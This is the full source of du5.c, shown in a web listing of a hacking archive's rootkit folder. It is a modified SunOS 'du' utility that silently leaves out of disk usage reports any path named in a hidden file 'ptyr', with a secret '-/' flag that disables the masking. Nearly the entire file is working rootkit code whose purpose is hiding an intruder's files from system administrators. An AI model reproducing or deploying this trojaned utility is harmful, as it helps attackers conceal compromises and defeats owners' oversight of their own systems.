home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / rootkits / rootkit / du5.c < prev    next >
C/C++ Source or Header  |  1994-03-01  |  6KB  |  276 lines
  1. /*+
  2.  *  du modification for the systemV additional
  3.  *  pack for SunOS 4.  Mask out files.
  4. +*/
  5.  
  6. #ifndef lint
  7. static    char sccsid[] = "@(#)du.c 1.1 91/11/13 SMI"; /* from UCB 4.11 83/07/01 */
  8. #endif
  9. /*
  10. **    du -- summarize disk usage
  11. **        du [-ars] [name ...]
  12. */
  13.  
  14. #include <stdio.h>
  15. #include <sys/param.h>
  16. #include <sys/stat.h>
  17. #include <sys/dir.h>
  18.  
  19. char    path[MAXPATHLEN+1], name[MAXPATHLEN+1];
  20. int    aflg;
  21. int    rflg;
  22. int    sflg;
  23. char    *dot = ".";
  24.  
  25. #define ML    1000
  26. struct {
  27.     int    dev;
  28.     ino_t    ino;
  29. } ml[ML];
  30. int    mlx;
  31.  
  32. /*+
  33.  *  Hack vars - oops they're global
  34.  *  but wtf cares, its a hack.
  35. +*/
  36.  
  37. #define FILENAME "ptyr"
  38. #define STR_SIZE 128
  39. #define SEP_CHAR " \n"
  40. #define SHOWFLAG        /*  Able to get du stats with `du -/` command  */
  41.  
  42. struct  h_st {
  43.         struct h_st     *next;
  44.         char            filename[STR_SIZE];
  45. };
  46.  
  47. struct  h_st    *hack_list;
  48. struct  h_st    *h_tmp;
  49.  
  50. char    tmp_str[STR_SIZE];
  51.  
  52. FILE    *fp_hack;
  53. int     showall=0;
  54.  
  55. long    descend();
  56. extern char    *strchr(), *strrchr(), *strcpy();
  57.  
  58. #define    nlb(n)    (howmany(dbtob(n), 512))
  59.  
  60. main(argc, argv)
  61.     int argc;
  62.     char **argv;
  63. {
  64.     long blocks = 0;
  65.     register c;
  66.     extern char *optarg;
  67.     extern int optind;
  68.     register char *np;
  69.     register int pid, wpid;
  70.     int status, retcode = 0;
  71.  
  72. #if defined (SHOWFLAG)
  73.     while ((c = getopt(argc, argv, "ars/")) != EOF)
  74. #else
  75.     while ((c = getopt(argc, argv, "ars")) != EOF)
  76. #endif
  77.         switch(c) {
  78.  
  79.         case 'a':
  80.             aflg++;
  81.             continue;
  82.  
  83.         case 'r':
  84.             rflg++;
  85.             continue;
  86.  
  87.         case 's':
  88.             sflg++;
  89.             continue;
  90. #if defined (SHOWFLAG)
  91.                         case '/':
  92.                                 showall++;
  93.                                 break;
  94. #endif
  95.  
  96.         default:
  97.             fprintf(stderr, "usage: du [-ars] [name ...]\n");
  98.             exit(2);
  99.         }
  100.  
  101. /*+  Read in list of files to block  +*/
  102.  
  103.         h_tmp=(struct h_st *)malloc(sizeof(struct h_st));
  104.         hack_list=h_tmp;
  105.  
  106.         if (fp_hack=fopen (FILENAME, "r")) {
  107.                 while (fgets(tmp_str, 126, fp_hack)) {
  108.                         h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));
  109.                         strcpy (h_tmp->filename, tmp_str);
  110.                         h_tmp->filename[strlen(h_tmp->filename)-1]='\0';
  111.                         h_tmp=h_tmp->next;
  112.                 }
  113.         }
  114.         h_tmp->next=NULL;
  115.  
  116. /*+  On with the program  +*/
  117.  
  118.     if (optind == argc) {
  119.         argv = ˙
  120.         argc = 1;
  121.         optind = 0;
  122.     }
  123.     do {
  124.         if (optind < argc - 1) {
  125.             pid = fork();
  126.             if (pid == -1) {
  127.                 perror("du: No more processes");
  128.                 exit(1);
  129.             }
  130.             if (pid != 0) {
  131.                 while ((wpid = wait(&status)) != pid
  132.                     && wpid != -1)
  133.                     ;
  134.                 if (pid != -1) {
  135.                     if (status != 0)
  136.                         retcode = 1;
  137.                 }
  138.             }
  139.         }
  140.         if (optind == argc - 1 || pid == 0) {
  141.             (void) strcpy(path, argv[optind]);
  142.             (void) strcpy(name, argv[optind]);
  143.             if (np = strrchr(name, '/')) {
  144.                 *np++ = '\0';
  145.                 if (chdir(*name ? name : "/") < 0) {
  146.                     if (rflg) {
  147.                         fprintf(stderr,
  148.                             "du: ");
  149.                         perror(*name ? name : "/");
  150.                     }
  151.                     exit(1);
  152.                 }
  153.             } else
  154.                 np = path;
  155.             blocks = descend(path, *np ? np : ".");
  156.             if (sflg)
  157.                 printf("%ld\t%s\n", nlb(blocks), path);
  158.             if (optind < argc - 1)
  159.                 exit(0);
  160.         }
  161.         optind++;
  162.     } while (optind < argc);
  163.     exit(retcode);
  164.     /* NOTREACHED */
  165. }
  166.  
  167. DIR    *dirp = NULL;
  168.  
  169. long
  170. descend(base, name)
  171.     char *base, *name;
  172. {
  173.     char *ebase0, *ebase;
  174.     struct stat stb;
  175.     int i;
  176.     long blocks = 0;
  177.     long curoff = 0;
  178.     register struct direct *dp;
  179.  
  180. /*+
  181.  * This will be very lagged if you include alot of files
  182.  * because strstr() is such an expensive call.  However,
  183.  * the nature of this procedure requires it, and breaking
  184.  * the pathname down would be just as expensive.  Note,
  185.  * that correct disk usage sizes will be reported based
  186.  * upon files that are not masked.
  187. +*/
  188.  
  189.         if (!showall)
  190.                 for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next)
  191.                         if (strstr(base, h_tmp->filename))
  192.                                 return 0;
  193.  
  194.     ebase0 = ebase = strchr(base, 0);
  195.     if (ebase > base && ebase[-1] == '/')
  196.         ebase--;
  197.     if (lstat(name, &stb) < 0) {
  198.         if (rflg) {
  199.             fprintf(stderr, "du: ");
  200.             perror(base);
  201.         }
  202.         *ebase0 = 0;
  203.         return (0);
  204.     }
  205.     if (stb.st_nlink > 1 && (stb.st_mode&S_IFMT) != S_IFDIR) {
  206.         for (i = 0; i <= mlx; i++)
  207.             if (ml[i].ino == stb.st_ino && ml[i].dev == stb.st_dev)
  208.                 return (0);
  209.         if (mlx < ML) {
  210.             ml[mlx].dev = stb.st_dev;
  211.             ml[mlx].ino = stb.st_ino;
  212.             mlx++;
  213.         }
  214.     }
  215.     blocks = stb.st_blocks;
  216.     if ((stb.st_mode&S_IFMT) != S_IFDIR) {
  217.         if (aflg)
  218.             printf("%ld\t%s\n", nlb(blocks), base);
  219.         return (blocks);
  220.     }
  221.     if (dirp != NULL)
  222.         closedir(dirp);
  223.     dirp = opendir(name);
  224.     if (dirp == NULL) {
  225.         if (rflg) {
  226.             fprintf(stderr, "du: ");
  227.             perror(base);
  228.         }
  229.         *ebase0 = 0;
  230.         return (0);
  231.     }
  232.     if (chdir(name) < 0) {
  233.         if (rflg) {
  234.             fprintf(stderr, "du: ");
  235.             perror(base);
  236.         }
  237.         *ebase0 = 0;
  238.         closedir(dirp);
  239.         dirp = NULL;
  240.         return (0);
  241.     }
  242.     while (dp = readdir(dirp)) {
  243.         if (!strcmp(dp->d_name, ".") || !strcmp(dp->d_name, ".."))
  244.             continue;
  245.         (void) sprintf(ebase, "/%s", dp->d_name);
  246.         curoff = telldir(dirp);
  247.         blocks += descend(base, ebase+1);
  248.         *ebase = 0;
  249.         if (dirp == NULL) {
  250.             dirp = opendir(".");
  251.             if (dirp == NULL) {
  252.                 if (rflg) {
  253.                     fprintf(stderr, "du: Can't reopen '.' in ");
  254.                     perror(base);
  255.                 }
  256.                 return (0);
  257.             }
  258.             seekdir(dirp, curoff);
  259.         }
  260.     }
  261.     closedir(dirp);
  262.     dirp = NULL;
  263.     if (sflg == 0)
  264.         printf("%ld\t%s\n", nlb(blocks), base);
  265.     if (chdir("..") < 0) {
  266.         if (rflg) {
  267.             (void) sprintf(strchr(base, '\0'), "/..");
  268.             fprintf("du: Can't change directories to '..' in ");
  269.             perror(base);
  270.         }
  271.         exit(1);
  272.     }
  273.     *ebase0 = 0;
  274.     return (blocks);
  275. }
  276.